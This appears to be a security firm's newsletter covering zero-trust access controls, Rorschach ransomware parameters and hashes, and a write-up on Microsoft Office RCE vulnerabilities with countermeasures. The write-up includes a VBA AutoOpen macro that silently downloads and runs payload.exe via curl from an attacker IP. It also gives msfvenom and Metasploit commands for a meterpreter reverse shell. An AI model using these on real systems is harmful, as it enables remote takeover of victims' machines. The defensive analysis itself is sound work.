
EQST stands for "Experts, Qualified Security Team”, and is a group 
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highly qualified security experts with proven capabilities in the field  

of cyber threat analysis and research.
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EQST insight 
  

 

Seven access privilege control strategies to respond to 

cyber security threats in the WFA era 
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Zero Trust is a cyber security model based on the premise that ‘nothing is trusted’. It performs thorough 

verification when a user or device requests access, and grants only minimum privileges during the 

verification process before allowing access
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1. Protection of privileged accounts

Automate search and protection of all privileged accounts 

Store and manage all privileged credentials 

Enforce adaptive access controls 

Continuous monitor all sessions related to privileged accounts and privileged activities 

Apply multi-factor authentication (MFA) 

Remove shared accounts 

Remove/delete built-in passwords 

2. Secure remote access

Broker all connections through a single access path 

Proxy access for all access paths and other important software 

Network zoning and segmentation 

Minimum privilege access control 

Automatically control management credentials 

Implement BYOD management 

Application-level micro-segmentation 

Monitor, manage and audit all sessions started from remote 

3. Apply endpoint privilege management

Apply minimum privilege in all environments 

Control specific Unix and Linux commands 

Separate duties and privileges 

Apply advanced application control and minimum privilege application management 

Strengthen security by blocking S/W execution and installation 

 

 

https://www.paloaltonetworks.com/resources/techbriefs/cybersecurity-survival-guide
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4. Vulnerability management and hardening

Strengthen the IT environment 

Strengthen and protect BIOS 

Implement continuous vulnerability management 

5. Tamper-proofing mobile and remote endpoints

Implement disk encryption 

Use built-in hard disks 

Seal devices 

Require distribution and use of computer security cables 

Tamper-proof BIOS 

6. Strengthen service desk security and privilege management

Powerful privileged access control for all remote support sessions 

Client segmentation 

Implement credential security best practices 

Enable independent support for platforms 

Simplify workflows and integrated them with other service desk tools 

Distribute endpoint privilege management together with the remote support tool 

7. Remote user penetration (mock hacking) test

Private and home-based network 

Devices owned by other companies 

Individuals and IoT devices 

Personal e-mail addresses that may exist in the same BYOD asset 

Cell phone numbers 

Non-business social media accounts 
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The Zero Trust architecture is a corporate cyber security plan using the concept of Zero Trust, and 

includes relationships between components, workflow design, and access policy. In addition, Zero Trust 

enterprise means the network infrastructure (physical and virtual) and policy that exist in the enterprise 

by implementing this Zero Trust architecture. 
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https://csrc.nist.gov/publications/detail/sp/800-207/final
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Keep up with Ransomware 
   

 

Rorschach with a thousand faces 

◼ Outline 
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◼ Ransomware news 
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◼ Ransomware threats 
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◼ Focus of ransomware 
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Parameter Description 

--run=<factor> Delivering a valid key value as a factor 

--nomutex=1 Mutex is not checked. 

--path=<path> Encryption of the specified path file 

--log=1 Creating a log file 

--pt=<path> The path of the executable file 

--cg=<path> The path of the encrypted payload 

--we=<path> The path of the DLL that implements side loading 
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83052CC23C45ECAA09FE5C87FD650C7F8E708AEA46756A2B9D452D40CE3B9C00 

AA48ACAEF62A7BFB3192F8A7D6E5229764618AC1AD1BD1B5F6D19A78864EB31F 

4874D336C5C7C2F558CFD5954655CACFC85BCFCB512A45FB0FF461CE9C38B86D 

B711579E33B0DF2143C7CB61246233C7F9B4D53DB6A048427A58C0295D8DAF1C 

B99D114B267FFD068C3289199B6DF95A9F9E64872D6C2B666D63974BBCE75BF2 

88081A21E500E831D86666CA5D7A3D348F7C03BC5C471B6D17D8B18A022F25BE 

38C610102129BE21D8D99AC92F3369C6650767ED513E5744C0CDA54E68B33812 

DE5A53131225DD97040D48221D9AFD98760F7FF2F55613F0D08436891CA632B9 

E14B88795BDE45CF736C8363C71A77171AA710A4E7FA9CE38470082CB1BDADBB 

66BCAD0829A59C424D062B949C2A556B11C509B17515DFFECB9CBF65F13F3DC6
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◼ Reference sites 
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Research & Technique 
    

 

Microsoft Excel RCE vulnerability (CVE-2023-23399), and 

Microsoft Word RCE vulnerability (CVE-2023-28311) 

■ Outline of vulnerabilities 
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■ Affected software versions 

 

S/W classification Version 

Microsoft products 

Current Channel: Version 2302 (Build 16130.20306) 

Monthly Enterprise Channel: Version 2301 (Build 16026.20238) 

Monthly Enterprise Channel: Version 2212 (Build 15928.20298) 

Semi-Annual Enterprise Channel (Preview): Version 2301 (Build 16130.20306) 

Semi-Annual Enterprise Channel: Version 2208 (Build 15601.20578) 

Semi-Annual Enterprise Channel: Version 2202 (Build 14931.20944) 

Office 2021 Retail: Version 2301 (Build 16130.20306) 

Office 2019 Retail: Version 2302 (Build 16130.20306) 

Office 2016 Retail: Version 2302 (Build 16130.20306) 

Office LTSC 2021 Volume Licensed: Version 2108 (Build 14332.20481) 

Office 2019 Volume Licensed: Version 1808 (Build 10396.20023) 

※ Outlook for Android, iOS, Mac, and web (OWA), and other Microsoft 365 services are not affected. 

 

 

S/W classification Version 

Microsoft products 

Current Channel: Version 2303 (Build 16227.20280) 

Monthly Enterprise Channel: Version 2302 (Build 16130.20394) 

Monthly Enterprise Channel: Version 2301 (Build 16026.20274) 

Semi-Annual Enterprise Channel (Preview): Version 2302 (Build 16130.20394) 

Semi-Annual Enterprise Channel: Version 2208 (Build 15601.20626) 

Semi-Annual Enterprise Channel: Version 2202 (Build 14931.20964) 

Office 2021 Retail: Version 2303 (Build 16227.20280) 

Office 2019 Retail: Version 2303 (Build 16227.20280) 

Office 2016 Retail: Version 2303 (Build 16227.20280) 

Office LTSC 2021 Volume Licensed: Version 2108 (Build 14332.20493) 

Office 2019 Volume Licensed: Version 1808 (Build 10397.20021) 
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■ Attack scenario 

 

① The attacker exploits the vulnerability and sends a malicious document (example: disguised as a resume, 

request, invoice, etc.) to the victim. 

② The victim executes the malicious document and allows the macro. 

③ The macro function operates on the victim's PC to download and execute the malicious code of the attacker 

server. 

④ The attacker takes control of the victim through remote command execution. 

 

 

■ Information on test environment configuration  

Name Information 

Victim 

Windows 10 Version 22H2 (OS Build 19045.2846) 

MSO 365 Office Build 

(15.0.4517.1504 32-bit) 

Attacker 
Windows 10 Version 22H2 (OS Build 19045.2006) 

kali-linux-2023 (6.1.0-kali5-amd64) 
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■ Vulnerability test and description 
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RCE 

(description of 

Figure 6) 

Private Sub WorkSHeet_SelectionChange(ByVal Target As Range) 

-> This function executes an internal function when the A1 shell is clicked. 

Sub RCE 

-> It assigns the calc.exe character string (calculator) to the program variable through Dim, 

and execute it using the shell function. At this time, the vbNormalFocus value corresponding 

to the second factor is set to 1 to run the process as a normal window. 

 

 

 

External URL 

access 

(description of 

Figure 7) 

Private Sub Worksheet_SelectionChange (ByVal Target As Range) 

-> This function executes an internal function when the shell in column A is clicked. 

Sub drivebydownload 

-> This code creates the Shell.Application object, executes the Edge browser through 

ShellExecute, and opens https://www.skshieldus.com/ website. 
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AutoOpen  

(description of 

Figure 9) 

Sub AutoOpen 

-> Use the shell function to download eqst.txt of the 192.168.100.152 server using curl at the 

command prompt. At this time, to hide the attack in case of failure, use the -s option to hide 

the error output. Then, use notepad.exe to output the contents of eqst.txt stored in the TEMP 

folder. At this time, use the vbHidden option to hide the cmd window where the shell function 

is executed. 
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■ Vulnerability exploitation scenario 

 

 

command 

$ msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o payload.exe LHOST= 192.168.100.152 

LPORT=4444 

 

Description of options 

- p: An option for specifying a module selection 

- f: An option for selecting an extension 

- o: An option for designating a name 

- LHOST: Address of the source IP to be connected to the shell 

- LPORT: Address of the port to be connected to the shell 

 

This command creates an interactive reverse shell with the name of payload.exe, which the victim 

connects to the 4444 port of the 192.168.100.152 IP. 

 

  

 

 



 

EQST insight | 34 

 

 

command 

# use exploit/multi/handler 

# set payload windows/x64/meterpreter/reverse_tcp 

# set LHOST 192.168.100.152 

# set LPORT 4444 

# exploit 

 

 

 

VBA 

Sub AutoOpen() 

    Call Shell("cmd.exe /S /c" & "curl -s http://192.168.100.152/payload.exe > " & 

Environ("TEMP") & "\payload.exe && start /B " & Environ("TEMP") & "\payload.exe", 

vbHidden) 

AutoOpen 

(Figure 13) 

Sub AutoOpen 

-> Use the shell function to download payload.exe from the 192.168.100.152 server using 

curl at the command prompt and execute it. 
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■ Countermeasure 

 

 

 

 

1. Trusted Locations – Specifying the area of trusted paths 

2. Trusted Documents – Specifying the area of the documents of trusted paths 

3. Macro Setting – Specifying macro-related settings 

 

 



 

EQST insight | 37 

 

 

 

 

 

 

Check the additionally allowed paths other than the default 
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■ Reference sites 
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